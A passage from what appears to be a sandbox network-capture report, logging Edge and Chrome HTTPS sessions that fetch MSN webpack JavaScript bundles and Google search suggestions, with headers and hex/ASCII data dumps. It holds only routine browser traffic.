2024-04-23 21:02:23 UTC	16384	IN	Data Raw: ff 2f 1e 4d 3a 5c 92 19 ea 94 e2 f4 e9 90 32 79 50 ea 52 d5 95 7c 05 c4 6b 21 02 27 87 2a 48 21 75 b6 57 a3 e1 f1 ca ed dc c7 fd 28 c9 8a 4f 9e d1 30 e2 dd 33 0f 23 1c 50 8c 1c 79 24 12 9a f0 fc cd f3 f1 52 3e 32 e0 b0 a8 19 b9 3a 1c 9b 5a 79 0e b1 16 35 1d 72 14 4b 66 bd 08 b5 30 95 d3 ff f6 56 bd 06 5d 30 80 45 e6 f1 71 ba d8 ac eb 08 f6 ed ec 23 bd 86 45 be fb 2b fb 1d 54 28 d4 a5 6f 5f 23 58 79 ff d7 b3 5f 3d 5d 18 0c 29 85 39 d9 9f ba f1 6c b6 09 00 e8 21 5f 09 2a 31 ea 7d 54 86 be 2d 4f 5c 10 f6 9b ca 61 ae 95 7f c8 2c d0 ff 85 20 c4 18 e9 bb d6 8e f5 ac 99 a8 b1 d0 eb 8a e5 d0 cf ef 6a 5f 26 cd 02 37 c2 cb 1b e6 f3 e1 ab 6c 1f 51 3f 4f 9d ae 39 b9 a5 5a e7 d1 5e f4 98 15 d6 38 f7 26 b3 07 3e 2f 36 72 20 6a 92 4d 18 61 13 25 a5 ce 31 dc 26 83 ad 4c Data Ascii: /M:\2yPR\|k!'H!uW(O03#Py$R>2:Zy5rKf0V]0Eq#E+T(o_#Xy_=])9l!_1}T-O\a, j_&7lQ?O9Z^8&>/6r jMa%1&L
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 75 a6 cd c8 4b 0f 43 a5 7a 32 96 cc 11 09 dd 7b ec 89 69 de 12 ff e5 5d 46 57 68 56 69 38 1e d6 3a 61 42 07 4e 92 08 2d cf c2 d6 dd 3d 11 8a 69 51 a0 00 1a 1c fe 9b 8a 1a 90 d4 2c ba 34 2d 72 69 13 07 f7 2b 9f f1 ba bb b9 a3 48 a2 ff 67 b8 5d b8 80 c0 f8 af da bc 8a 8e 15 c6 df a4 11 e0 9d 9e 87 c4 a4 f8 14 e9 dd ff d0 bc ea 69 71 53 65 64 8c 82 2d 51 24 27 51 ba b5 58 b8 56 37 85 6d 7d 9f e8 2c a8 3c 43 d3 df ec 31 6c d9 ed 66 70 6e 18 3f 0c f2 01 f1 b6 17 8c ae 4b 3e 02 9a 1d ad e3 9b 92 42 fe 0d ba 42 e3 14 fc c8 05 f7 d0 05 cd 80 a3 3b a6 d1 dc c7 88 a9 e8 82 29 ac 52 27 d2 64 a5 30 0c 0c e3 90 a3 0c b0 d1 72 7c 20 b6 44 46 5d 16 b7 c5 0c ce 5f 80 70 b6 b1 c3 e8 f8 51 01 86 ff af e1 1e 5f 1c eb 2e c3 7b 01 92 44 69 a4 77 e0 5b e2 d8 8e b2 6a db df 1f Data Ascii: uKCz2{i]FWhVi8:aBN-=iQ,4-ri+Hg]iqSed-Q$'QXV7m},<C1lfpn?K>BB;)R'd0r\| DF]_pQ_.{Diw[j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49850	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	720	OUT	GET /bundles/v1/edgeChromium/latest/libs_channel-page-utils_dist_UrlUtilities_js-libs_core_dist_interaction-tracker_MouseTracker_-01b350.30b0d21807d12cd8d7d2.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: idStyHvDU9IFD7YyYqevdA== Last-Modified: Mon, 22 Apr 2024 19:59:14 GMT ETag: 0x8DC6306AF98F583 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 04588d11-401e-008f-0bef-94b4f4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Length: 25286 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746774,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016d96 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016d96 Vary: Origin
2024-04-23 21:02:23 UTC	15230	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6c 69 62 73 5f 63 68 61 6e 6e 65 6c 2d 70 61 67 65 2d 75 74 69 6c 73 5f 64 69 73 74 5f 55 72 6c 55 74 69 6c 69 74 69 65 73 5f 6a 73 2d 6c 69 62 73 5f 63 6f 72 65 5f 64 69 73 74 5f 69 6e 74 65 72 61 63 74 69 6f 6e 2d 74 72 61 63 6b 65 72 5f 4d 6f 75 73 65 54 72 61 63 6b 65 72 5f 2d 30 31 62 33 35 30 22 2c 22 6c 69 62 73 5f 63 68 61 6e 6e 65 6c 2d 70 61 67 65 2d 75 74 69 6c 73 5f 64 69 73 74 5f 55 72 6c 55 74 69 6c 69 74 69 65 73 5f 6a 73 2d 6c 69 62 73 5f Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_channel-page-utils_dist_UrlUtilities_js-libs_core_dist_interaction-tracker_MouseTracker_-01b350","libs_channel-page-utils_dist_UrlUtilities_js-libs_
2024-04-23 21:02:23 UTC	9346	IN	Data Raw: 74 74 6f 6e 3d 22 61 75 74 6f 70 6c 61 79 54 6f 67 67 6c 65 42 75 74 74 6f 6e 22 2c 65 2e 4d 75 74 65 54 6f 67 67 6c 65 3d 22 6d 75 74 65 54 6f 67 67 6c 65 22 2c 65 2e 56 6f 6c 75 6d 65 43 6f 6e 74 72 6f 6c 3d 22 76 6f 6c 75 6d 65 43 6f 6e 74 72 6f 6c 22 7d 28 63 7c 7c 28 63 3d 7b 7d 29 29 7d 2c 34 34 32 37 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 74 2c 7b 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 7d 29 3b 63 6f 6e 73 74 20 6e 3d 69 28 34 39 32 31 38 29 2e 64 79 60 3c 69 6d 67 20 73 72 63 3d 24 7b 65 3d 3e 65 2e 6c 6f 67 6f 49 6d 61 67 65 55 72 6c 7d 20 2f 3e 60 7d 2c 31 34 38 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b Data Ascii: tton="autoplayToggleButton",e.MuteToggle="muteToggle",e.VolumeControl="volumeControl"}(c\|\|(c={}))},44276:function(e,t,i){"use strict";i.d(t,{h:function(){return n}});const n=i(49218).dy`<img src=${e=>e.logoImageUrl} />`},1489:function(e,t,i){"use strict";
2024-04-23 21:02:23 UTC	710	IN	Data Raw: 39 34 20 30 20 30 31 30 2d 34 68 33 2e 36 34 61 31 30 2e 39 34 20 31 30 2e 39 34 20 30 20 30 31 30 20 34 7a 6d 2e 37 39 20 31 48 31 32 61 35 2e 30 32 20 35 2e 30 32 20 30 20 30 31 2d 32 2e 30 34 20 31 2e 36 63 2e 31 2d 2e 31 36 2e 31 38 2d 2e 33 33 2e 32 36 2d 2e 35 2e 31 35 2d 2e 33 34 2e 32 39 2d 2e 37 2e 34 2d 31 2e 31 7a 6d 31 2e 39 36 2d 31 68 2d 31 2e 37 34 61 31 32 2e 30 35 20 31 32 2e 30 35 20 30 20 30 30 30 2d 34 68 31 2e 37 34 61 34 2e 39 38 20 34 2e 39 38 20 30 20 30 31 30 20 34 7a 4d 39 2e 39 36 20 33 2e 34 63 2e 38 31 2e 33 35 20 31 2e 35 32 2e 39 20 32 2e 30 34 20 31 2e 36 68 2d 31 2e 33 38 61 37 2e 35 33 20 37 2e 35 33 20 30 20 30 30 2d 2e 36 36 2d 31 2e 36 7a 22 3e 3c 2f 70 61 74 68 3e 3c 2f 73 76 67 3e 27 7d 2c 33 36 37 36 34 3a 66 75 6e Data Ascii: 94 0 010-4h3.64a10.94 10.94 0 010 4zm.79 1H12a5.02 5.02 0 01-2.04 1.6c.1-.16.18-.33.26-.5.15-.34.29-.7.4-1.1zm1.96-1h-1.74a12.05 12.05 0 000-4h1.74a4.98 4.98 0 010 4zM9.96 3.4c.81.35 1.52.9 2.04 1.6h-1.38a7.53 7.53 0 00-.66-1.6z"></path></svg>'},36764:fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49851	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	720	OUT	GET /bundles/v1/edgeChromium/latest/cs-core-desktop_responsive-card_dist_index_js-libs_feed-layout_dist_Utils_js-libs_views-helpe-3fb136.ea4d6e1aa2bd59998ad3.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 3AgX0MWM1OFC0h0WAUPD/A== Last-Modified: Tue, 23 Apr 2024 19:32:46 GMT ETag: 0x8DC63CC277DBBD4 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: b25044c2-501e-006a-5bb5-952689000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Length: 46643 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746790,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016da6 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016da6 Vary: Origin
2024-04-23 21:02:23 UTC	15230	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 73 2d 63 6f 72 65 2d 64 65 73 6b 74 6f 70 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 61 72 64 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6c 69 62 73 5f 66 65 65 64 2d 6c 61 79 6f 75 74 5f 64 69 73 74 5f 55 74 69 6c 73 5f 6a 73 2d 6c 69 62 73 5f 76 69 65 77 73 2d 68 65 6c 70 65 2d 33 66 62 31 33 36 22 5d 2c 7b 37 39 34 36 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 74 2c 7b 65 50 3a 66 75 6e 63 Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["cs-core-desktop_responsive-card_dist_index_js-libs_feed-layout_dist_Utils_js-libs_views-helpe-3fb136"],{79460:function(e,t,i){"use strict";i.d(t,{eP:func
2024-04-23 21:02:23 UTC	9346	IN	Data Raw: 74 65 72 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 63 61 6c 63 28 24 7b 56 2e 4c 78 7d 20 2a 20 2d 31 70 78 29 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 63 61 6c 63 28 24 7b 56 2e 4c 78 7d 20 2a 20 31 70 78 29 7d 2e 68 69 64 65 2d 63 61 72 64 2d 62 75 74 74 6f 6e 3a 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 61 74 74 72 28 74 69 74 6c 65 29 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 68 65 69 67 68 74 3a 32 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 73 74 61 72 74 3b 74 65 78 74 Data Ascii: ter;margin-inline-end:calc(${V.Lx} * -1px);position:absolute;top:calc(${V.Lx} * 1px)}.hide-card-button::after{content:attr(title);display:-webkit-box;font-size:14px;height:20px;line-height:20px;max-width:0px;opacity:0;overflow:hidden;text-align:start;text
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 61 6c 46 6f 72 65 67 72 6f 75 6e 64 31 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 2d 66 6f 72 65 67 72 6f 75 6e 64 2d 31 29 29 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 31 32 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 20 36 70 78 3b 7a 2d 69 6e 64 65 78 3a 24 7b 4e 2e 6c 7d 7d 2e 62 61 64 67 65 5b 64 69 73 61 62 6c 65 64 5d 7b 7a 2d 69 6e 64 65 78 3a 30 7d 2e 62 61 64 67 65 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 31 2d 68 6f 76 65 72 29 7d 2e 62 61 64 67 65 2d 74 65 78 74 7b 66 6f 6e 74 2d Data Ascii: alForeground1,var(--color-neutral-foreground-1));cursor:pointer;display:inline-flex;height:20px;max-width:120px;padding:0 6px;z-index:${N.l}}.badge[disabled]{z-index:0}.badge:hover{background-color:var(--color-neutral-background-1-hover)}.badge-text{font-
2024-04-23 21:02:23 UTC	5683	IN	Data Raw: 64 28 74 2c 7b 5f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 76 61 72 20 61 3d 69 28 37 35 31 32 30 29 2c 6f 3d 69 28 38 38 38 32 36 29 3b 63 6f 6e 73 74 20 72 3d 28 30 2c 69 28 36 39 34 32 35 29 2e 45 74 29 28 61 2e 72 45 77 2c 22 73 65 6e 64 41 64 49 6d 61 67 65 4c 6f 61 64 45 72 72 6f 72 22 29 28 28 28 7b 69 64 3a 65 2c 72 4c 69 6e 6b 3a 74 2c 69 6d 67 4c 69 6e 6b 3a 69 2c 65 76 65 6e 74 3a 72 2c 69 73 42 6f 6f 73 74 3a 6e 7d 29 3d 3e 7b 28 30 2c 6f 2e 48 29 28 6e 3f 61 2e 61 38 46 3a 61 2e 64 31 64 2c 22 41 64 73 20 69 6d 61 67 65 20 69 73 20 6e 6f 74 20 6c 6f 61 64 65 64 20 70 72 6f 70 65 72 6c 79 22 2c 60 7b 22 69 64 22 3a 20 22 24 7b 65 7d 22 2c 22 72 4c 69 6e 6b 22 3a 20 22 24 7b 74 7d 22 2c 22 69 6d 67 4c 69 6e 6b 22 Data Ascii: d(t,{_:function(){return r}});var a=i(75120),o=i(88826);const r=(0,i(69425).Et)(a.rEw,"sendAdImageLoadError")((({id:e,rLink:t,imgLink:i,event:r,isBoost:n})=>{(0,o.H)(n?a.a8F:a.d1d,"Ads image is not loaded properly",`{"id": "${e}","rLink": "${t}","imgLink"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49795	172.253.124.104	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 21:02:23 UTC	1703	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:23 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-COeGr8Fa17hSXQ2bWbv_4Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-23 21:02:23 UTC	780	IN	Data Raw: 33 30 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 61 70 72 69 6c 20 32 33 22 2c 22 74 72 69 73 74 6f 6e 20 63 61 73 61 73 20 69 6e 6a 75 72 79 22 2c 22 72 65 64 69 73 63 6f 76 65 72 20 6b 61 6e 74 6f 20 70 6f 6b 65 6d 6f 6e 20 67 6f 22 2c 22 6d 61 74 74 65 72 70 6f 72 74 20 63 6f 73 74 61 72 22 2c 22 66 6f 72 74 6e 69 74 65 20 75 70 64 61 74 65 20 70 61 74 63 68 20 6e 6f 74 65 73 22 2c 22 63 61 6c 69 66 6f 72 6e 69 61 20 63 6c 65 61 72 20 61 69 72 70 6f 72 74 73 22 2c 22 6b 69 61 20 6e 62 61 20 61 77 61 72 64 73 20 66 69 6e 61 6c 69 73 74 73 22 2c 22 73 70 61 63 65 78 20 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d Data Ascii: 305)]}'["",["nyt connections hints april 23","triston casas injury","rediscover kanto pokemon go","matterport costar","fortnite update patch notes","california clear airports","kia nba awards finalists","spacex rocket launch"],["","","","","","","",""]
2024-04-23 21:02:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49852	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	503	OUT	GET /bundles/v1/edgeChromium/latest/card-actions-wc.8a1bb7315d1f3ad1dac6.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: jwC3BgNxyAvGue/5BDeGSQ== Last-Modified: Wed, 17 Apr 2024 19:30:49 GMT ETag: 0x8DC5F14E3312F2F Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4c76b427-c01e-003f-44fd-90c2b0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402746811,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016dbb Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016dbb Vary: Origin
2024-04-23 21:02:23 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 61 72 64 2d 61 63 74 69 6f 6e 73 2d 77 63 22 5d 2c 7b 38 35 31 39 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 2c 72 2c 6e 2c 61 3b 6f 2e 64 28 74 2c 7b 48 49 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 2c 49 7a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 4f 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["card-actions-wc"],{85195:function(e,t,o){"use strict";var i,r,n,a;o.d(t,{HI:function(){return c},Iz:function(){return a},OZ:function(){return d
2024-04-23 21:02:23 UTC	9395	IN	Data Raw: 75 74 74 6f 6e 22 3d 3d 3d 74 68 69 73 2e 73 68 61 64 6f 77 52 6f 6f 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 69 64 26 26 28 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 73 65 74 46 6f 63 75 73 28 22 61 63 74 69 6f 6e 44 69 61 6c 6f 67 43 6c 6f 73 65 42 75 74 74 6f 6e 22 29 29 7d 2c 74 68 69 73 2e 73 65 74 46 6f 63 75 73 3d 65 3d 3e 7b 76 61 72 20 74 2c 6f 3b 63 6f 6e 73 74 20 69 3d 6e 75 6c 6c 3d 3d 3d 28 6f 3d 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 73 68 61 64 6f 77 52 6f 6f 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 63 61 6c 6c 28 74 2c 65 29 3b 69 26 26 69 2e 66 6f 63 75 73 Data Ascii: utton"===this.shadowRoot.activeElement.id&&(e.preventDefault(),this.setFocus("actionDialogCloseButton"))},this.setFocus=e=>{var t,o;const i=null===(o=null===(t=this.shadowRoot)\|\|void 0===t?void 0:t.getElementById)\|\|void 0===o?void 0:o.call(t,e);i&&i.focus
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 5b 65 5d 2c 72 65 70 6f 72 74 44 69 61 6c 6f 67 4e 75 6d 62 65 72 4f 66 4f 70 74 69 6f 6e 73 43 68 65 63 6b 65 64 3a 74 2e 72 65 70 6f 72 74 44 69 61 6c 6f 67 4e 75 6d 62 65 72 4f 66 4f 70 74 69 6f 6e 73 43 68 65 63 6b 65 64 2b 28 74 5b 65 5d 3f 2d 31 3a 31 29 7d 29 7d 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 28 28 29 3d 3e 7b 22 72 65 70 6f 72 74 42 6c 75 72 72 79 49 6d 61 67 65 43 68 65 63 6b 65 64 22 3d 3d 3d 65 26 26 74 68 69 73 2e 73 65 74 46 6f 63 75 73 28 22 72 65 70 6f 72 74 44 69 61 6c 6f 67 42 6c 75 72 72 79 49 6d 61 67 65 56 32 43 68 65 63 6b 65 64 22 29 2c 22 72 65 70 6f 72 74 44 69 61 6c 6f 67 4f 66 66 65 6e 73 69 76 65 43 6f 6e 74 65 